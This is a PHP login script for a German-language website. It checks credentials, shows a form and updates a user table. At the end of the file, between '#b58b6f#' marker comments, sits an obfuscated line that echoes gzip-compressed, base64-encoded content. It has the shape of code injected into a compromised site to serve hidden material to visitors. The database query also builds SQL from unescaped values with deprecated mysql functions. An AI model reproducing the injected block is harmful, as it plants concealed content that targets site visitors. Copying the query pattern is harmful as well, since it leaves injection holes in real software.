// Include init file include 'init.php'; if (!isset($_POST['submit'])) { // Show the form include 'login_form.inc.php'; exit; } else { // Try and login with the given username & pass $result = user_login($_POST['username'], $_POST['password']); if ($result != 'Correct') { // Reshow the form with the error $login_error = $result; include 'login_form.inc.php'; } else { echo '
Du bist eingloggt fals die Weiterleitung nicht funktioniert , Klicke hier.'; $read = mysql_query("SELECT * FROM hpconfi"); while ($result = mysql_fetch_array($read)){ $aktion = $result['aktion'];} $ip = $_SERVER['REMOTE_ADDR']; $lastlogin = time(); $username = $_SESSION['username']; mysql_query("UPDATE user SET ip='$ip', lastlogin='$lastlogin', firstbill='$aktion', online='1' where username='$username'") OR die(mysql_error()); } } #b58b6f# echo(gzinflate(base64_decode("sylOLsosKFEoqSxItVUqSa0o0c9KLEuEiCopFBcl2ypllJQUWOnrl5eX6xkaGKfl6uWllugXpeakJhan6mUVK9nZ6EPU2wEA"))); #/b58b6f# ?>